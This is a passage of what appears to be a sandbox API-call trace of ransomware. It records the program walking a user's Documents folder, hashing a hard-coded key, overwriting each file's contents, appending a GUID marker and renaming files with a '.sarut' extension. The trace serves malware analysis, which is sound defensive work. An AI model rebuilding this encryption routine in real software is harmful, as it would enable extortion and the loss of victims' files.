hHeap=0x640000) returned 1 [0270.193] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.195] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0270.195] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6f3b1f0, ftCreationTime.dwHighDateTime=0x1d4d4ac, ftLastAccessTime.dwLowDateTime=0x3b198a30, ftLastAccessTime.dwHighDateTime=0x1d4d487, ftLastWriteTime.dwLowDateTime=0x3b198a30, ftLastWriteTime.dwHighDateTime=0x1d4d487, nFileSizeHigh=0x0, nFileSizeLow=0x1772a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hk7Xm32Lt1utxRomo79.pptx", cAlternateFileName="HK7XM3~1.PPT")) returned 1 [0270.195] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.195] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xbe) returned 0x307faa8 [0270.195] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.195] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\hk7Xm32Lt1utxRomo79.pptx") returned=".pptx" [0270.195] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\hk7Xm32Lt1utxRomo79.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\hk7xm32lt1utxromo79.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.196] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=96042) returned 1 [0270.196] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.199] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x17704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.199] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.200] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0270.200] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0270.200] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0270.200] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x1772a, lpOverlapped=0x0) returned 1 [0270.201] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.201] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0270.201] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.201] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.202] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0270.202] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.203] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.203] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0270.203] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.203] GetLastError () returned 0x0 [0270.203] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.203] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0270.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.203] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x17730) returned 0x311d708 [0270.203] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0270.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0270.204] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x17725, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x17725, lpOverlapped=0x0) returned 1 [0270.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.204] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1772a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0270.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0270.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0270.204] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0270.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0270.204] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1990 | out: hHeap=0x640000) returned 1 [0270.204] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0270.205] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0270.205] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.205] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.205] CloseHandle (hObject=0x5c4) returned 1 [0270.208] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054690 [0270.208] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8c0) returned 0x311d708 [0270.208] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054690 | out: hHeap=0x640000) returned 1 [0270.208] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\hk7Xm32Lt1utxRomo79.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\hk7xm32lt1utxromo79.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\hk7Xm32Lt1utxRomo79.pptx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\hk7xm32lt1utxromo79.pptx.sarut")) returned 1 [0270.209] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.209] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.210] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0270.211] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ab1300, ftCreationTime.dwHighDateTime=0x1d4d2e7, ftLastAccessTime.dwLowDateTime=0xeba755c0, ftLastAccessTime.dwHighDateTime=0x1d4c853, ftLastWriteTime.dwLowDateTime=0xeba755c0, ftLastWriteTime.dwHighDateTime=0x1d4c853, nFileSizeHigh=0x0, nFileSizeLow=0xa018, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KvTi3ZX.docx", cAlternateFileName="KVTI3Z~1.DOC")) returned 1 [0270.211] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.211] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xbe) returned 0x307faa8 [0270.211] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.211] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\KvTi3ZX.docx") returned=".docx" [0270.211] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\KvTi3ZX.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\kvti3zx.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.211] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=40984) returned 1 [0270.211] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.214] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x9ff2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.214] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.216] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xa018, lpOverlapped=0x0) returned 1 [0270.216] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.216] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.216] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.217] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0270.217] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.218] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.218] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.218] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.218] GetLastError () returned 0x0 [0270.218] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.218] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0270.218] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.218] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xa018, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.218] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.218] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.218] CloseHandle (hObject=0x5c4) returned 1 [0270.225] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\KvTi3ZX.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\kvti3zx.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\KvTi3ZX.docx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\kvti3zx.docx.sarut")) returned 1 [0270.225] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.225] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.226] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0270.227] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c8bc10, ftCreationTime.dwHighDateTime=0x1d4d365, ftLastAccessTime.dwLowDateTime=0x26245510, ftLastAccessTime.dwHighDateTime=0x1d4d257, ftLastWriteTime.dwLowDateTime=0x26245510, ftLastWriteTime.dwHighDateTime=0x1d4d257, nFileSizeHigh=0x0, nFileSizeLow=0x11cd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lA9UBwHgz3W.docx", cAlternateFileName="LA9UBW~1.DOC")) returned 1 [0270.227] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\lA9UBwHgz3W.docx") returned=".docx" [0270.227] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\lA9UBwHgz3W.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\la9ubwhgz3w.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.227] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=72920) returned 1 [0270.227] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.229] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11cb2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.229] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.231] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x11cd8, lpOverlapped=0x0) returned 1 [0270.232] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.232] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.232] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.232] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0270.233] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.233] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.233] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.233] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.233] GetLastError () returned 0x0 [0270.233] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.233] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0270.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.234] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11cd8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.234] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.234] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.234] CloseHandle (hObject=0x5c4) returned 1 [0270.236] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\lA9UBwHgz3W.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\la9ubwhgz3w.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\lA9UBwHgz3W.docx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\la9ubwhgz3w.docx.sarut")) returned 1 [0270.237] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.237] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.238] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0270.238] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2f02e80, ftCreationTime.dwHighDateTime=0x1d4ca4d, ftLastAccessTime.dwLowDateTime=0xda9d13a0, ftLastAccessTime.dwHighDateTime=0x1d4cdbc, ftLastWriteTime.dwLowDateTime=0xda9d13a0, ftLastWriteTime.dwHighDateTime=0x1d4cdbc, nFileSizeHigh=0x0, nFileSizeLow=0xe252, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nnz1zWbbzOZyy0IcqsRw.ots", cAlternateFileName="NNZ1ZW~1.OTS")) returned 1 [0270.238] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\nnz1zWbbzOZyy0IcqsRw.ots") returned=".ots" [0270.238] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\nnz1zWbbzOZyy0IcqsRw.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\nnz1zwbbzozyy0icqsrw.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.238] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=57938) returned 1 [0270.239] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.241] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xe22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.241] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.244] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xe252, lpOverlapped=0x0) returned 1 [0270.245] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.245] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.245] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.245] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0270.246] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.246] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.246] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.246] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.246] GetLastError () returned 0x0 [0270.246] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.247] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0270.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.247] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xe252, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.247] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.247] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.247] CloseHandle (hObject=0x5c4) returned 1 [0270.252] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\nnz1zWbbzOZyy0IcqsRw.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\nnz1zwbbzozyy0icqsrw.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\nnz1zWbbzOZyy0IcqsRw.ots.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\nnz1zwbbzozyy0icqsrw.ots.sarut")) returned 1 [0270.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.253] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0270.254] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f0fcd0, ftCreationTime.dwHighDateTime=0x1d4d541, ftLastAccessTime.dwLowDateTime=0xcfeb1f40, ftLastAccessTime.dwHighDateTime=0x1d4c8dc, ftLastWriteTime.dwLowDateTime=0xcfeb1f40, ftLastWriteTime.dwHighDateTime=0x1d4c8dc, nFileSizeHigh=0x0, nFileSizeLow=0x18f5c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S-tHiiR.pdf", cAlternateFileName="")) returned 1 [0270.254] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\S-tHiiR.pdf") returned=".pdf" [0270.254] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\S-tHiiR.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\s-thiir.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.254] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=102236) returned 1 [0270.254] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.257] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x18f36, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.257] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.259] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x18f5c, lpOverlapped=0x0) returned 1 [0270.260] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.260] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.260] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.260] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0270.261] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.261] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.261] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, 